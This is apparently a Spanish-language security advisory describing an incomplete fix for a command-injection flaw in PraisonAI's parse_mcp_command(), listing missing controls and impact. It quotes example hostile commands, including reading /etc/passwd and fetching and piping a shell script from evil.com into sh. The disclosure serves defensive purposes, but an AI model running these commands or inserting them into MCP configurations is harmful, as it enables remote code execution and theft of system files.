Vulnerabilidad de Inyección de Comandos en PraisonAI

La corrección implementada para CVE-2026-34935 en PraisonAI presenta una validación insuficiente que permite la ejecución de comandos arbitrarios. El método parse_mcp_command() en src/praisonai/praisonai/cli/features/mcp.py procesa cadenas de comandos de servidores MCP sin implementar controles críticos de seguridad.

Fallas en la Implementación de Seguridad

El commit de corrección 47bff654 no aborda tres controles fundamentales: ausencia de una lista blanca ALLOWED_COMMANDS para ejecutables permitidos (como npx, uvx, node, python), falta de validación os.path.basename() para prevenir inyección de ejecutables por ruta absoluta, y ausencia de inspección de argumentos para bloquear metacaracteres de shell o subcomandos peligrosos.

Comandos maliciosos como python -c 'import os; os.system("id")', bash -c 'cat /etc/passwd' y /bin/sh -c 'wget http://evil.com/shell.sh | sh' son aceptados por parse_mcp_command() y pasados directamente a la ejecución de subprocesos sin filtrado.

Impacto y Riesgos de Seguridad

Un atacante que pueda influir en la configuración del servidor MCP (mediante plugins maliciosos o archivos de configuración compartidos) puede ejecutar comandos arbitrarios del sistema en el host que ejecuta PraisonAI. Esto habilita ejecución remota completa de código, exfiltración de datos y movimiento lateral en la infraestructura comprometida.